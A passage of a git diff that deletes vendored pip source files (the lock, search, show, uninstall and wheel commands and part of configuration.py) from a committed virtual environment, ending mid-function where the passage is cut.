index 73df8649a88a3e4b7ec8a85ab2e20af5218f1d1a..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/lock.py
+++ /dev/null
@@ -1,173 +0,0 @@
-import sys
-from optparse import Values
-from pathlib import Path
-
-from pip._vendor import tomli_w
-from pip._vendor.packaging.pylock import is_valid_pylock_path
-
-from pip._internal.cache import WheelCache
-from pip._internal.cli import cmdoptions
-from pip._internal.cli.req_command import (
-    RequirementCommand,
-    with_cleanup,
-)
-from pip._internal.cli.status_codes import SUCCESS
-from pip._internal.operations.build.build_tracker import get_build_tracker
-from pip._internal.utils.logging import getLogger
-from pip._internal.utils.misc import (
-    get_pip_version,
-)
-from pip._internal.utils.pylock import pylock_from_install_requirements
-from pip._internal.utils.temp_dir import TempDirectory
-
-logger = getLogger(__name__)
-
-
-class LockCommand(RequirementCommand):
-    """
-    EXPERIMENTAL - Lock packages and their dependencies from:
-
-    - PyPI (and other indexes) using requirement specifiers.
-    - VCS project urls.
-    - Local project directories.
-    - Local or remote source archives.
-
-    pip also supports locking from "requirements files", which provide an easy
-    way to specify a whole environment to be installed.
-
-    The generated lock file is only guaranteed to be valid for the current
-    python version and platform.
-    """
-
-    usage = """
-      %prog [options] [-e]  ...
-      %prog [options]  [package-index-options] ...
-      %prog [options] -r  [package-index-options] ...
-      %prog [options]  ..."""
-
-    def add_options(self) -> None:
-        self.cmd_opts.add_option(
-            cmdoptions.PipOption(
-                "--output",
-                "-o",
-                dest="output_file",
-                metavar="path",
-                type="path",
-                default="pylock.toml",
-                help="Lock file name (default=pylock.toml). Use - for stdout.",
-            )
-        )
-        self.cmd_opts.add_option(cmdoptions.requirements())
-        self.cmd_opts.add_option(cmdoptions.requirements_from_scripts())
-        self.cmd_opts.add_option(cmdoptions.constraints())
-        self.cmd_opts.add_option(cmdoptions.build_constraints())
-        self.cmd_opts.add_option(cmdoptions.no_deps())
-        self.cmd_opts.add_option(cmdoptions.only_deps())
-
-        self.cmd_opts.add_option(cmdoptions.editable())
-
-        self.cmd_opts.add_option(cmdoptions.src())
-
-        self.cmd_opts.add_option(cmdoptions.ignore_requires_python())
-        self.cmd_opts.add_option(cmdoptions.no_build_isolation())
-        self.cmd_opts.add_option(cmdoptions.use_pep517())
-        self.cmd_opts.add_option(cmdoptions.check_build_deps())
-
-        self.cmd_opts.add_option(cmdoptions.config_settings())
-
-        self.cmd_opts.add_option(cmdoptions.require_hashes())
-        self.cmd_opts.add_option(cmdoptions.no_require_hashes())
-        self.cmd_opts.add_option(cmdoptions.progress_bar())
-
-        index_opts = cmdoptions.make_option_group(
-            cmdoptions.index_group,
-            self.parser,
-        )
-
-        selection_opts = cmdoptions.make_option_group(
-            cmdoptions.package_selection_group,
-            self.parser,
-        )
-
-        self.parser.insert_option_group(0, index_opts)
-        self.parser.insert_option_group(0, selection_opts)
-        self.parser.insert_option_group(0, self.cmd_opts)
-
-    @with_cleanup
-    def run(self, options: Values, args: list[str]) -> int:
-        logger.verbose("Using %s", get_pip_version())
-
-        logger.warning(
-            "pip lock is currently an experimental command. "
-            "It may be removed/changed in a future release "
-            "without prior warning."
-        )
-
-        cmdoptions.check_build_constraints(options)
-        cmdoptions.check_release_control_exclusive(options)
-        cmdoptions.check_only_deps_option_does_not_conflict(options)
-
-        session = self.get_default_session(options)
-
-        finder = self._build_package_finder(
-            options=options,
-            session=session,
-            ignore_requires_python=options.ignore_requires_python,
-        )
-        build_tracker = self.enter_context(get_build_tracker())
-
-        directory = TempDirectory(
-            delete=not options.no_clean,
-            kind="install",
-            globally_managed=True,
-        )
-
-        reqs = self.get_requirements(args, options, finder, session)
-
-        wheel_cache = WheelCache(options.cache_dir)
-
-        preparer = self.make_requirement_preparer(
-            temp_build_dir=directory,
-            options=options,
-            build_tracker=build_tracker,
-            session=session,
-            finder=finder,
-            use_user_site=False,
-            verbosity=self.verbosity,
-            allow_editables=True,
-        )
-        resolver = self.make_resolver(
-            preparer=preparer,
-            finder=finder,
-            options=options,
-            wheel_cache=wheel_cache,
-            use_user_site=False,
-            ignore_installed=True,
-            ignore_requires_python=options.ignore_requires_python,
-            upgrade_strategy="to-satisfy-only",
-        )
-
-        self.trace_basic_info(finder)
-
-        requirement_set = resolver.resolve(reqs, check_supported_wheels=True)
-
-        if options.output_file == "-":
-            base_dir = Path.cwd()
-        else:
-            output_file_path = Path(options.output_file)
-            if not is_valid_pylock_path(output_file_path):
-                logger.warning(
-                    "%s is not a valid lock file name.",
-                    output_file_path,
-                )
-            base_dir = output_file_path.parent
-        pylock = pylock_from_install_requirements(
-            requirement_set.requirements.values(), base_dir=base_dir
-        )
-        pylock_toml = tomli_w.dumps(pylock.to_dict())
-        if options.output_file == "-":
-            sys.stdout.write(pylock_toml)
-        else:
-            output_file_path.write_text(pylock_toml, encoding="utf-8")
-
-        return SUCCESS
diff --git a/venv/Lib/site-packages/pip/_internal/commands/search.py b/venv/Lib/site-packages/pip/_internal/commands/search.py
deleted file mode 100644
index b8dbc27d3ac54112c5e1a96fc5c865b4a2de0e43..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/search.py
+++ /dev/null
@@ -1,178 +0,0 @@
-from __future__ import annotations
-
-import logging
-import shutil
-import sys
-import textwrap
-import xmlrpc.client
-from collections import OrderedDict
-from optparse import Values
-from typing import TypedDict
-
-from pip._vendor.packaging.version import parse as parse_version
-
-from pip._internal.cli.base_command import Command
-from pip._internal.cli.req_command import SessionCommandMixin
-from pip._internal.cli.status_codes import NO_MATCHES_FOUND, SUCCESS
-from pip._internal.exceptions import CommandError
-from pip._internal.metadata import get_default_environment
-from pip._internal.metadata.base import BaseDistribution
-from pip._internal.models.index import PyPI
-from pip._internal.network.xmlrpc import PipXmlrpcTransport
-from pip._internal.utils.logging import indent_log
-from pip._internal.utils.misc import write_output
-
-
-class TransformedHit(TypedDict):
-    name: str
-    summary: str
-    versions: list[str]
-
-
-logger = logging.getLogger(__name__)
-
-
-class SearchCommand(Command, SessionCommandMixin):
-    """Search for PyPI packages whose name or summary contains ."""
-
-    usage = """
-      %prog [options] """
-    ignore_require_venv = True
-
-    def add_options(self) -> None:
-        self.cmd_opts.add_option(
-            "-i",
-            "--index",
-            dest="index",
-            metavar="URL",
-            default=PyPI.pypi_url,
-            help="Base URL of Python Package Index (default %default)",
-        )
-
-        self.parser.insert_option_group(0, self.cmd_opts)
-
-    def run(self, options: Values, args: list[str]) -> int:
-        if not args:
-            raise CommandError("Missing required argument (search query).")
-        query = args
-        pypi_hits = self.search(query, options)
-        hits = transform_hits(pypi_hits)
-
-        terminal_width = None
-        if sys.stdout.isatty():
-            terminal_width = shutil.get_terminal_size()[0]
-
-        print_results(hits, terminal_width=terminal_width)
-        if pypi_hits:
-            return SUCCESS
-        return NO_MATCHES_FOUND
-
-    def search(self, query: list[str], options: Values) -> list[dict[str, str]]:
-        index_url = options.index
-
-        session = self.get_default_session(options)
-
-        transport = PipXmlrpcTransport(index_url, session)
-        pypi = xmlrpc.client.ServerProxy(index_url, transport)
-        try:
-            hits = pypi.search({"name": query, "summary": query}, "or")
-        except xmlrpc.client.Fault as fault:
-            message = (
-                f"XMLRPC request failed [code: {fault.faultCode}]\n{fault.faultString}"
-            )
-            raise CommandError(message)
-        assert isinstance(hits, list)
-        return hits
-
-
-def transform_hits(hits: list[dict[str, str]]) -> list[TransformedHit]:
-    """
-    The list from pypi is really a list of versions. We want a list of
-    packages with the list of versions stored inline. This converts the
-    list from pypi into one we can use.
-    """
-    packages: dict[str, TransformedHit] = OrderedDict()
-    for hit in hits:
-        name = hit["name"]
-        summary = hit["summary"]
-        version = hit["version"]
-
-        if name not in packages.keys():
-            packages[name] = {
-                "name": name,
-                "summary": summary,
-                "versions": [version],
-            }
-        else:
-            packages[name]["versions"].append(version)
-
-            # if this is the highest version, replace summary and score
-            if version == highest_version(packages[name]["versions"]):
-                packages[name]["summary"] = summary
-
-    return list(packages.values())
-
-
-def print_dist_installation_info(latest: str, dist: BaseDistribution | None) -> None:
-    if dist is not None:
-        with indent_log():
-            if dist.version == latest:
-                write_output("INSTALLED: %s (latest)", dist.version)
-            else:
-                write_output("INSTALLED: %s", dist.version)
-                if parse_version(latest).pre:
-                    write_output(
-                        "LATEST:    %s (pre-release; install"
-                        " with `pip install --pre`)",
-                        latest,
-                    )
-                else:
-                    write_output("LATEST:    %s", latest)
-
-
-def get_installed_distribution(name: str) -> BaseDistribution | None:
-    env = get_default_environment()
-    return env.get_distribution(name)
-
-
-def print_results(
-    hits: list[TransformedHit],
-    name_column_width: int | None = None,
-    terminal_width: int | None = None,
-) -> None:
-    if not hits:
-        return
-    if name_column_width is None:
-        name_column_width = (
-            max(
-                [
-                    len(hit["name"]) + len(highest_version(hit.get("versions", ["-"])))
-                    for hit in hits
-                ]
-            )
-            + 4
-        )
-
-    for hit in hits:
-        name = hit["name"]
-        summary = hit["summary"] or ""
-        latest = highest_version(hit.get("versions", ["-"]))
-        if terminal_width is not None:
-            target_width = terminal_width - name_column_width - 5
-            if target_width > 10:
-                # wrap and indent summary to fit terminal
-                summary_lines = textwrap.wrap(summary, target_width)
-                summary = ("\n" + " " * (name_column_width + 3)).join(summary_lines)
-
-        name_latest = f"{name} ({latest})"
-        line = f"{name_latest:{name_column_width}} - {summary}"
-        try:
-            write_output(line)
-            dist = get_installed_distribution(name)
-            print_dist_installation_info(latest, dist)
-        except UnicodeEncodeError:
-            pass
-
-
-def highest_version(versions: list[str]) -> str:
-    return max(versions, key=parse_version)
diff --git a/venv/Lib/site-packages/pip/_internal/commands/show.py b/venv/Lib/site-packages/pip/_internal/commands/show.py
deleted file mode 100644
index 40601a2b9d98434e96e5f251642137852848f6d4..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/show.py
+++ /dev/null
@@ -1,237 +0,0 @@
-from __future__ import annotations
-
-import logging
-import string
-from collections.abc import Generator, Iterable, Iterator
-from optparse import Values
-from typing import NamedTuple
-
-from pip._vendor.packaging.requirements import InvalidRequirement
-from pip._vendor.packaging.utils import canonicalize_name
-
-from pip._internal.cli.base_command import Command
-from pip._internal.cli.status_codes import ERROR, SUCCESS
-from pip._internal.metadata import BaseDistribution, get_default_environment
-from pip._internal.utils.misc import write_output
-
-logger = logging.getLogger(__name__)
-
-
-def normalize_project_url_label(label: str) -> str:
-    # This logic is from PEP 753 (Well-known Project URLs in Metadata).
-    chars_to_remove = string.punctuation + string.whitespace
-    removal_map = str.maketrans("", "", chars_to_remove)
-    return label.translate(removal_map).lower()
-
-
-class ShowCommand(Command):
-    """
-    Show information about one or more installed packages.
-
-    The output is in RFC-compliant mail header format.
-    """
-
-    usage = """
-      %prog [options]  ..."""
-    ignore_require_venv = True
-
-    def add_options(self) -> None:
-        self.cmd_opts.add_option(
-            "-f",
-            "--files",
-            dest="files",
-            action="store_true",
-            default=False,
-            help="Show the full list of installed files for each package.",
-        )
-
-        self.parser.insert_option_group(0, self.cmd_opts)
-
-    def run(self, options: Values, args: list[str]) -> int:
-        if not args:
-            logger.warning("ERROR: Please provide a package name or names.")
-            return ERROR
-        query = args
-
-        results = search_packages_info(query, include_files=options.files)
-        if not print_results(
-            results, list_files=options.files, verbose=options.verbose
-        ):
-            return ERROR
-        return SUCCESS
-
-
-class _PackageInfo(NamedTuple):
-    name: str
-    version: str
-    location: str
-    editable_project_location: str | None
-    requires: list[str]
-    required_by: list[str]
-    installer: str
-    metadata_version: str
-    classifiers: list[str]
-    summary: str
-    homepage: str
-    project_urls: list[str]
-    author: str
-    author_email: str
-    license: str
-    license_expression: str
-    entry_points: list[str]
-    files: list[str] | None
-
-
-def search_packages_info(
-    query: list[str],
-    include_files: bool,
-) -> Generator[_PackageInfo, None, None]:
-    """
-    Gather details from installed distributions. Print distribution name,
-    version, location, and installed files. Installed files requires a
-    pip generated 'installed-files.txt' in the distributions '.egg-info'
-    directory.
-    """
-    env = get_default_environment()
-
-    installed = {dist.canonical_name: dist for dist in env.iter_all_distributions()}
-    query_names = [canonicalize_name(name) for name in query]
-    missing = sorted(
-        [name for name, pkg in zip(query, query_names) if pkg not in installed]
-    )
-    if missing:
-        logger.warning("Package(s) not found: %s", ", ".join(missing))
-
-    def _get_requiring_packages(current_dist: BaseDistribution) -> Iterator[str]:
-        return (
-            dist.metadata["Name"] or "UNKNOWN"
-            for dist in installed.values()
-            if current_dist.canonical_name
-            in {canonicalize_name(d.name) for d in dist.iter_dependencies()}
-        )
-
-    for query_name in query_names:
-        try:
-            dist = installed[query_name]
-        except KeyError:
-            continue
-
-        try:
-            requires = sorted(
-                # Avoid duplicates in requirements (e.g. due to environment markers).
-                {req.name for req in dist.iter_dependencies()},
-                key=str.lower,
-            )
-        except InvalidRequirement:
-            requires = sorted(dist.iter_raw_dependencies(), key=str.lower)
-
-        try:
-            required_by = sorted(_get_requiring_packages(dist), key=str.lower)
-        except InvalidRequirement:
-            required_by = ["#N/A"]
-
-        try:
-            entry_points_text = dist.read_text("entry_points.txt")
-            entry_points = entry_points_text.splitlines(keepends=False)
-        except FileNotFoundError:
-            entry_points = []
-
-        files: list[str] | None = None
-        if include_files:
-            files_iter = dist.iter_declared_entries()
-            if files_iter is not None:
-                files = sorted(files_iter)
-
-        metadata = dist.metadata
-
-        project_urls = metadata.get_all("Project-URL", [])
-        homepage = metadata.get("Home-page", "")
-        if not homepage:
-            # It's common that there is a "homepage" Project-URL, but Home-page
-            # remains unset (especially as PEP 621 doesn't surface the field).
-            for url in project_urls:
-                url_label, url = url.split(",", maxsplit=1)
-                normalized_label = normalize_project_url_label(url_label)
-                if normalized_label == "homepage":
-                    homepage = url.strip()
-                    break
-
-        yield _PackageInfo(
-            name=dist.raw_name,
-            version=dist.raw_version,
-            location=dist.location or "",
-            editable_project_location=dist.editable_project_location,
-            requires=requires,
-            required_by=required_by,
-            installer=dist.installer,
-            metadata_version=dist.metadata_version or "",
-            classifiers=metadata.get_all("Classifier", []),
-            summary=metadata.get("Summary", ""),
-            homepage=homepage,
-            project_urls=project_urls,
-            author=metadata.get("Author", ""),
-            author_email=metadata.get("Author-email", ""),
-            license=metadata.get("License", ""),
-            license_expression=metadata.get("License-Expression", ""),
-            entry_points=entry_points,
-            files=files,
-        )
-
-
-def print_results(
-    distributions: Iterable[_PackageInfo],
-    list_files: bool,
-    verbose: bool,
-) -> bool:
-    """
-    Print the information from installed distributions found.
-    """
-    results_printed = False
-    for i, dist in enumerate(distributions):
-        results_printed = True
-        if i > 0:
-            write_output("---")
-
-        metadata_version = dist.metadata_version
-        metadata_version_tuple = (
-            tuple(map(int, metadata_version.split("."))) if metadata_version else ()
-        )
-
-        write_output("Name: %s", dist.name)
-        write_output("Version: %s", dist.version)
-        write_output("Summary: %s", dist.summary)
-        write_output("Home-page: %s", dist.homepage)
-        write_output("Author: %s", dist.author)
-        write_output("Author-email: %s", dist.author_email)
-        if metadata_version_tuple >= (2, 4) and dist.license_expression:
-            write_output("License-Expression: %s", dist.license_expression)
-        else:
-            write_output("License: %s", dist.license)
-        write_output("Location: %s", dist.location)
-        if dist.editable_project_location is not None:
-            write_output(
-                "Editable project location: %s", dist.editable_project_location
-            )
-        write_output("Requires: %s", ", ".join(dist.requires))
-        write_output("Required-by: %s", ", ".join(dist.required_by))
-
-        if verbose:
-            write_output("Metadata-Version: %s", dist.metadata_version)
-            write_output("Installer: %s", dist.installer)
-            write_output("Classifiers:")
-            for classifier in dist.classifiers:
-                write_output("  %s", classifier)
-            write_output("Entry-points:")
-            for entry in dist.entry_points:
-                write_output("  %s", entry.strip())
-            write_output("Project-URLs:")
-            for project_url in dist.project_urls:
-                write_output("  %s", project_url)
-        if list_files:
-            write_output("Files:")
-            if dist.files is None:
-                write_output("Cannot locate RECORD or installed-files.txt")
-            else:
-                for line in dist.files:
-                    write_output("  %s", line.strip())
-    return results_printed
diff --git a/venv/Lib/site-packages/pip/_internal/commands/uninstall.py b/venv/Lib/site-packages/pip/_internal/commands/uninstall.py
deleted file mode 100644
index 9c4f031f934fd4aae78349e1c01eb4b765711357..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/uninstall.py
+++ /dev/null
@@ -1,113 +0,0 @@
-import logging
-from optparse import Values
-
-from pip._vendor.packaging.utils import canonicalize_name
-
-from pip._internal.cli import cmdoptions
-from pip._internal.cli.base_command import Command
-from pip._internal.cli.index_command import SessionCommandMixin
-from pip._internal.cli.status_codes import SUCCESS
-from pip._internal.exceptions import InstallationError
-from pip._internal.req import parse_requirements
-from pip._internal.req.constructors import (
-    install_req_from_line,
-    install_req_from_parsed_requirement,
-)
-from pip._internal.utils.misc import (
-    check_externally_managed,
-    protect_pip_from_modification_on_windows,
-    warn_if_run_as_root,
-)
-
-logger = logging.getLogger(__name__)
-
-
-class UninstallCommand(Command, SessionCommandMixin):
-    """
-    Uninstall packages.
-
-    pip is able to uninstall most installed packages. Known exceptions are:
-
-    - Pure distutils packages installed with ``python setup.py install``, which
-      leave behind no metadata to determine what files were installed.
-    - Script wrappers installed by ``python setup.py develop``.
-    """
-
-    usage = """
-      %prog [options]  ...
-      %prog [options] -r  ..."""
-
-    def add_options(self) -> None:
-        self.cmd_opts.add_option(
-            "-r",
-            "--requirement",
-            dest="requirements",
-            action="append",
-            default=[],
-            metavar="file",
-            help=(
-                "Uninstall all the packages listed in the given requirements "
-                "file.  This option can be used multiple times."
-            ),
-        )
-        self.cmd_opts.add_option(
-            "-y",
-            "--yes",
-            dest="yes",
-            action="store_true",
-            help="Don't ask for confirmation of uninstall deletions.",
-        )
-        self.cmd_opts.add_option(cmdoptions.root_user_action())
-        self.cmd_opts.add_option(cmdoptions.override_externally_managed())
-        self.parser.insert_option_group(0, self.cmd_opts)
-
-    def run(self, options: Values, args: list[str]) -> int:
-        session = self.get_default_session(options)
-
-        reqs_to_uninstall = {}
-        for name in args:
-            req = install_req_from_line(
-                name,
-                isolated=options.isolated_mode,
-            )
-            if req.name:
-                reqs_to_uninstall[canonicalize_name(req.name)] = req
-            else:
-                logger.warning(
-                    "Invalid requirement: %r ignored -"
-                    " the uninstall command expects named"
-                    " requirements.",
-                    name,
-                )
-        for filename in options.requirements:
-            for parsed_req in parse_requirements(
-                filename, options=options, session=session
-            ):
-                req = install_req_from_parsed_requirement(
-                    parsed_req, isolated=options.isolated_mode
-                )
-                if req.name:
-                    reqs_to_uninstall[canonicalize_name(req.name)] = req
-        if not reqs_to_uninstall:
-            raise InstallationError(
-                f"You must give at least one requirement to {self.name} (see "
-                f'"pip help {self.name}")'
-            )
-
-        if not options.override_externally_managed:
-            check_externally_managed()
-
-        protect_pip_from_modification_on_windows(
-            modifying_pip="pip" in reqs_to_uninstall
-        )
-
-        for req in reqs_to_uninstall.values():
-            uninstall_pathset = req.uninstall(
-                auto_confirm=options.yes,
-                verbose=self.verbosity > 0,
-            )
-            if uninstall_pathset:
-                uninstall_pathset.commit()
-        if options.root_user_action == "warn":
-            warn_if_run_as_root()
-        return SUCCESS
diff --git a/venv/Lib/site-packages/pip/_internal/commands/wheel.py b/venv/Lib/site-packages/pip/_internal/commands/wheel.py
deleted file mode 100644
index ee25b8265d461def73fa3439029a03856b39196b..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/wheel.py
+++ /dev/null
@@ -1,177 +0,0 @@
-import logging
-import os
-import shutil
-from optparse import Values
-
-from pip._internal.cache import WheelCache
-from pip._internal.cli import cmdoptions
-from pip._internal.cli.req_command import RequirementCommand, with_cleanup
-from pip._internal.cli.status_codes import SUCCESS
-from pip._internal.exceptions import CommandError
-from pip._internal.operations.build.build_tracker import get_build_tracker
-from pip._internal.req.req_install import (
-    InstallRequirement,
-)
-from pip._internal.utils.misc import ensure_dir, normalize_path
-from pip._internal.utils.temp_dir import TempDirectory
-from pip._internal.wheel_builder import build
-
-logger = logging.getLogger(__name__)
-
-
-class WheelCommand(RequirementCommand):
-    """
-    Build Wheel archives for your requirements and dependencies.
-
-    Wheel is a built-package format, and offers the advantage of not
-    recompiling your software during every install. For more details, see the
-    wheel docs: https://wheel.readthedocs.io/en/latest/
-
-    'pip wheel' uses the build system interface as described here:
-    https://pip.pypa.io/en/stable/reference/build-system/
-
-    """
-
-    usage = """
-      %prog [options]  ...
-      %prog [options] -r  ...
-      %prog [options] [-e]  ...
-      %prog [options] [-e]  ...
-      %prog [options]  ..."""
-
-    def add_options(self) -> None:
-        self.cmd_opts.add_option(
-            "-w",
-            "--wheel-dir",
-            dest="wheel_dir",
-            metavar="dir",
-            default=os.curdir,
-            help=(
-                "Build wheels into , where the default is the "
-                "current working directory."
-            ),
-        )
-        self.cmd_opts.add_option(cmdoptions.no_build_isolation())
-        self.cmd_opts.add_option(cmdoptions.use_pep517())
-        self.cmd_opts.add_option(cmdoptions.check_build_deps())
-        self.cmd_opts.add_option(cmdoptions.constraints())
-        self.cmd_opts.add_option(cmdoptions.build_constraints())
-        self.cmd_opts.add_option(cmdoptions.editable())
-        self.cmd_opts.add_option(cmdoptions.requirements())
-        self.cmd_opts.add_option(cmdoptions.requirements_from_scripts())
-        self.cmd_opts.add_option(cmdoptions.src())
-        self.cmd_opts.add_option(cmdoptions.ignore_requires_python())
-        self.cmd_opts.add_option(cmdoptions.no_deps())
-        self.cmd_opts.add_option(cmdoptions.only_deps())
-        self.cmd_opts.add_option(cmdoptions.progress_bar())
-
-        self.cmd_opts.add_option(
-            "--no-verify",
-            dest="no_verify",
-            action="store_true",
-            default=False,
-            help="Don't verify if built wheel is valid.",
-        )
-
-        self.cmd_opts.add_option(cmdoptions.config_settings())
-
-        self.cmd_opts.add_option(cmdoptions.require_hashes())
-        self.cmd_opts.add_option(cmdoptions.no_require_hashes())
-
-        index_opts = cmdoptions.make_option_group(
-            cmdoptions.index_group,
-            self.parser,
-        )
-
-        selection_opts = cmdoptions.make_option_group(
-            cmdoptions.package_selection_group,
-            self.parser,
-        )
-
-        self.parser.insert_option_group(0, index_opts)
-        self.parser.insert_option_group(0, selection_opts)
-        self.parser.insert_option_group(0, self.cmd_opts)
-
-    @with_cleanup
-    def run(self, options: Values, args: list[str]) -> int:
-        cmdoptions.check_build_constraints(options)
-        cmdoptions.check_release_control_exclusive(options)
-        cmdoptions.check_only_deps_option_does_not_conflict(options)
-
-        session = self.get_default_session(options)
-
-        finder = self._build_package_finder(options, session)
-
-        options.wheel_dir = normalize_path(options.wheel_dir)
-        ensure_dir(options.wheel_dir)
-
-        build_tracker = self.enter_context(get_build_tracker())
-
-        directory = TempDirectory(
-            delete=not options.no_clean,
-            kind="wheel",
-            globally_managed=True,
-        )
-
-        reqs = self.get_requirements(args, options, finder, session)
-
-        wheel_cache = WheelCache(options.cache_dir)
-
-        preparer = self.make_requirement_preparer(
-            temp_build_dir=directory,
-            options=options,
-            build_tracker=build_tracker,
-            session=session,
-            finder=finder,
-            download_dir=options.wheel_dir,
-            use_user_site=False,
-            verbosity=self.verbosity,
-            allow_editables=False,
-        )
-
-        resolver = self.make_resolver(
-            preparer=preparer,
-            finder=finder,
-            options=options,
-            wheel_cache=wheel_cache,
-            ignore_requires_python=options.ignore_requires_python,
-        )
-
-        self.trace_basic_info(finder)
-
-        requirement_set = resolver.resolve(reqs, check_supported_wheels=True)
-
-        preparer.prepare_linked_requirements_more(requirement_set.requirements.values())
-
-        reqs_to_build: list[InstallRequirement] = []
-        for req in requirement_set.requirements.values():
-            if req.is_wheel:
-                preparer.save_linked_requirement(req)
-            else:
-                reqs_to_build.append(req)
-
-        # build wheels
-        build_successes, build_failures = build(
-            reqs_to_build,
-            wheel_cache=wheel_cache,
-            verify=(not options.no_verify),
-            allow_editables=False,
-        )
-        for req in build_successes:
-            assert req.link and req.link.is_wheel
-            assert req.local_file_path
-            # copy from cache to target directory
-            try:
-                shutil.copy(req.local_file_path, options.wheel_dir)
-            except OSError as e:
-                logger.warning(
-                    "Failed to copy built wheel %s to %s: %s",
-                    req.name,
-                    options.wheel_dir,
-                    e,
-                )
-                build_failures.append(req)
-        if len(build_failures) != 0:
-            raise CommandError("Failed to build one or more wheels")
-
-        return SUCCESS
diff --git a/venv/Lib/site-packages/pip/_internal/configuration.py b/venv/Lib/site-packages/pip/_internal/configuration.py
deleted file mode 100644
index 661d25e92da6ce949d6d52ee031d03823f0a5e1f..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/configuration.py
+++ /dev/null
@@ -1,395 +0,0 @@
-"""Configuration management setup
-
-Some terminology:
-- name
-  As written in config files.
-- value
-  Value associated with a name
-- key
-  Name combined with it's section (section.name)
-- variant
-  A single word describing where the configuration key-value pair came from
-"""
-
-from __future__ import annotations
-
-import configparser
-import os
-import sys
-from collections.abc import Iterable
-from typing import Any, NewType
-
-from pip._internal.exceptions import (
-    ConfigurationError,
-    ConfigurationFileCouldNotBeLoaded,
-)
-from pip._internal.utils import appdirs
-from pip._internal.utils.compat import WINDOWS, get_locale_encoding
-from pip._internal.utils.logging import getLogger
-from pip._internal.utils.misc import ensure_dir, enum
-
-RawConfigParser = configparser.RawConfigParser  # Shorthand
-Kind = NewType("Kind", str)
-
-CONFIG_BASENAME = "pip.ini" if WINDOWS else "pip.conf"
-ENV_NAMES_IGNORED = "version", "help"
-
-# The kinds of configurations there are.
-kinds = enum(
-    USER="user",  # User Specific
-    GLOBAL="global",  # System Wide
-    SITE="site",  # [Virtual] Environment Specific
-    ENV="env",  # from PIP_CONFIG_FILE
-    ENV_VAR="env-var",  # from Environment Variables
-)
-OVERRIDE_ORDER = kinds.GLOBAL, kinds.USER, kinds.SITE, kinds.ENV, kinds.ENV_VAR
-VALID_LOAD_ONLY = kinds.USER, kinds.GLOBAL, kinds.SITE
-
-logger = getLogger(__name__)
-
-
-# NOTE: Maybe use the optionx attribute to normalize keynames.
-def _normalize_name(name: str) -> str:
-    """Make a name consistent regardless of source (environment or file)"""
-    name = name.lower().replace("_", "-")
-    name = name.removeprefix("--")  # only prefer long opts
-    return name
-
-
-def _disassemble_key(name: str) -> list[str]:
-    if "." not in name:
-        error_message = (
-            "Key does not contain dot separated section and key. "
-            f"Perhaps you wanted to use 'global.{name}' instead?"
-        )
-        raise ConfigurationError(error_message)
-    return name.split(".", 1)
-
-
-def get_configuration_files() -> dict[Kind, list[str]]:
-    global_config_files = [
-        os.path.join(path, CONFIG_BASENAME) for path in appdirs.site_config_dirs("pip")
-    ]
-
-    site_config_file = os.path.join(sys.prefix, CONFIG_BASENAME)
-    legacy_config_file = os.path.join(
-        os.path.expanduser("~"),
-        "pip" if WINDOWS else ".pip",
-        CONFIG_BASENAME,
-    )
-    new_config_file = os.path.join(appdirs.user_config_dir("pip"), CONFIG_BASENAME)
-    return {
-        kinds.GLOBAL: global_config_files,
-        kinds.SITE: [site_config_file],
-        kinds.USER: [legacy_config_file, new_config_file],
-    }
-
-
-class Configuration:
-    """Handles management of configuration.
-
-    Provides an interface to accessing and managing configuration files.
-
-    This class converts provides an API that takes "section.key-name" style
-    keys and stores the value associated with it as "key-name" under the
-    section "section".
-
-    This allows for a clean interface wherein the both the section and the
-    key-name are preserved in an easy to manage form in the configuration files
-    and the data stored is also nice.
-    """
-
-    def __init__(self, isolated: bool, load_only: Kind | None = None) -> None:
-        super().__init__()
-
-        if load_only is not None and load_only not in VALID_LOAD_ONLY:
-            raise ConfigurationError(
-                "Got invalid value for load_only - should be one of {}".format(
-                    ", ".join(map(repr, VALID_LOAD_ONLY))
-                )
-            )
-        self.isolated = isolated
-        self.load_only = load_only
-
-        # Because we keep track of where we got the data from
-        self._parsers: dict[Kind, list[tuple[str, RawConfigParser]]] = {
-            variant: [] for variant in OVERRIDE_ORDER
-        }
-        self._config: dict[Kind, dict[str, dict[str, Any]]] = {
-            variant: {} for variant in OVERRIDE_ORDER
-        }
-        self._modified_parsers: list[tuple[str, RawConfigParser]] = []
-
-    def load(self) -> None:
-        """Loads configuration from configuration files and environment"""
-        self._load_config_files()
-        if not self.isolated:
-            self._load_environment_vars()
-
-    def get_file_to_edit(self) -> str | None:
-        """Returns the file with highest priority in configuration"""
-        assert self.load_only is not None, "Need to be specified a file to be editing"
-
-        try:
-            return self._get_parser_to_modify()[0]
-        except IndexError:
-            return None
-
-    def items(self) -> Iterable[tuple[str, Any]]:
-        """Returns key-value pairs like dict.items() representing the loaded
-        configuration
-        """
-        return self._dictionary.items()
-
-    def get_value(self, key: str) -> Any:
-        """Get a value from the configuration."""
-        orig_key = key
-        key = _normalize_name(key)
-        try:
-            clean_config: dict[str, Any] = {}
-            for file_values in self._dictionary.values():
-                clean_config.update(file_values)
-            return clean_config[key]
-        except KeyError:
-            # disassembling triggers a more useful error message than simply
-            # "No such key" in the case that the key isn't in the form command.option
-            _disassemble_key(key)
-            raise ConfigurationError(f"No such key - {orig_key}")
-
-    def set_value(self, key: str, value: Any) -> None:
-        """Modify a value in the configuration."""
-        key = _normalize_name(key)
-        self._ensure_have_load_only()
-
-        assert self.load_only
-        fname, parser = self._get_parser_to_modify()
-
-        if parser is not None:
-            section, name = _disassemble_key(key)
-
-            # Modify the parser and the configuration
-            if not parser.has_section(section):
-                parser.add_section(section)
-            parser.set(section, name, value)
-
-        self._config[self.load_only].setdefault(fname, {})
-        self._config[self.load_only][fname][key] = value
-        self._mark_as_modified(fname, parser)
-
-    def unset_value(self, key: str) -> None:
-        """Unset a value in the configuration."""
-        orig_key = key
-        key = _normalize_name(key)
-        self._ensure_have_load_only()
-
-        assert self.load_only
-        fname, parser = self._get_parser_to_modify()
-
-        if (
-            key not in self._config[self.load_only][fname]
-            and key not in self._config[self.load_only]
-        ):
-            raise ConfigurationError(f"No such key - {orig_key}")
-
-        if parser is not None:
-            section, name = _disassemble_key(key)
-            if not (
